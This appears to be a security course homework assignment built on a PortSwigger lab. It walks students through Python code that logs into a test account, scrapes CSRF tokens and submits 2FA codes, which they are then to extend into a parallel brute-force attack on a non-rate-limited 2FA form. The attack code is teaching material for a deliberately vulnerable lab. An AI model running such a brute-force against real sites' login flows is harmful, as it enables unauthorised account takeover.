In this level, the login process is protected by a 2-factor authentication flow. Once a user submits a correct set of credentials to the /login
path, they are redirected to the /login2
path that handles the second factor. Upon visiting the /login2
path, a 2FA code to be emailed to the user. The /login2
page implements a form that the user then fills with the 2FA code. The main flaw is that the handler for the 2FA form is not rate-limited to prevent brute-force attacks.
You are initially given credentials to the victim's account (carlos:montoya
), however, you do not have access to the email address of the victim and can not determine the 2FA code that is sent upon logging in as the victim. To attack the level, you will need to perform a brute-force attack on carlos
's 2FA code. In order for the attack to be efficient, you will need to use multiprocessing
or asyncio
to perform the brute-force attack.
You will be writing your attack in Python using the requests
and BeautifulSoup
packages.
cd
into it.cd <path_to_your_git_repository>
mkdir hw1
cd hw1
requirements.txt
with the following inside. The file contains the Python packages we want to install.requests
bs4
virtualenv -p python3 env
source env/bin/activate
pip install -r requirements.txt
Create an initial Python script using the code below called hw1.py
that programmatically logs in as carlos:montoya
, requests a 2FA code, and then submits the code '0000
' in an attempt to successfully log-in.
The program begins by visiting the login page and obtaining the csrf
token of the login form.
We begin by taking a single argument from the command line that contains the URL of our Portswigger level. To do so, we import Python's sys package and read in the first command-line argument with it (sys.argv[1]
). If the full URL is given, we strip off the outer parts of it so that we get just the site
's hostname.
import sys
site = sys.argv[1]
if 'https://' in site:
site = site.rstrip('/').lstrip('https://')
Next, we instantiate a session and get the login page for the level. Note that this level is protected with a csrf token hidden in the form field. The program uses BeautifulSoup to parse this out.
s = requests.Session()
login_url = f'https://{site}/login'
resp = s.get(login_url)
soup = BeautifulSoup(resp.text,'html.parser')
csrf = soup.find('input', {'name':'csrf'}).get('value')
Then, the program creates a dictionary containing the user credentials we're given and submits it to the login form along with the csrf
token.
logindata = {
'csrf' : csrf,
'username' : 'carlos',
'password' : 'montoya'
}
print(f'Logging in as carlos:montoya')
resp = s.post(login_url, data=logindata)
print(f'Login response: {resp.text}')
Upon successful login, an HTTP redirect is given that automatically sends us to the /login2
page that implements the 2FA process. As part of this process, a 2FA code is automatically sent to the email address of the account which is not accessible. The /login2
form also has a csrf
token we'll need to include for when we submit the code.
soup = BeautifulSoup(resp.text,'html.parser')
csrf = soup.find('input', {'name':'csrf'}).get('value')
Finally, we attempt to submit '0000' as the 2FA code and view the response. The code for doing so is shown below. As the code shows, we must zero-pad the number to 4 digits via zfill
. We then POST the code to the /login2
path, but we specify that the keyword argument allow_redirects
is false. This prevents Python requests from automatically following an HTTP redirect. For this authentication workflow, a redirect to the landing page indicates a successful login. We can check for this via the response's status_code
.
login2_url = f'https://{site}/login2'
login2data = {
'csrf' : csrf,
'mfa-code' : str(0).zfill(4)
}
resp = s.post(login2_url, data=login2data, allow_redirects=False)
if resp.status_code == 302:
print(f'2fa valid with response code {resp.status_code}')
# Visit account profile page to complete level
else:
print(f'2fa invalid with response code: {resp.status_code}')
After finding the correct code, we can then visit carlos
's account profile page (/my-account?id=carlos
) to solve the level.
Note that the web application only allows 2 incorrect guesses of the code before requiring the user to login again. As a result, you will need to login again to attempt subsequent codes in your program.
Run the program on your site to show that you can login with the given account credentials to get to the 2FA page, but that the 2FA submission fails.
python hw1.py <Level_URL> ... <form class=login-form method=POST> <input required type="hidden" name="csrf" value="53...K"> <label>Please enter your 4-digit security code</label> <input required type=text name=mfa-code> <button class=button type=submit> Login </button> </form> ... 2fa invalid with response code: 200
Then, add, commit and push this initial script and its requirements.txt
into your repository
git add .
git commit -m "Initial script"
git push
Ensure that your local Python environment in env
has not been added to the repository. It will be ignored as long as you've properly included it in the .gitignore
file as instructed when you set up your course git
repository.
Modify hw1.py
to implement a program that performs a brute-force attack on the 2FA code for the account carlos
in order to successfully authenticate as the account. While for testing purposes, you can visit the account's profile page in order to solve the level, please remove this request when submitting your final program. For grading purposes, we need the level to remain unsolved to grade subsequent programs. Instead, modify your program to simply output the 2fa code instead.
def run_test(login, password, url, num_tests):
"""Records timing data for an individual attack
Args:
login (str): login to test
password (str): password to test
url (str): URL to test
num_tests (int): number of tests to run
Returns:
float: Average time taken across tests
"""
multiprocessing
or asyncio
.git
repository contains Python program and its requirements.txt
file and does not include a full Python environment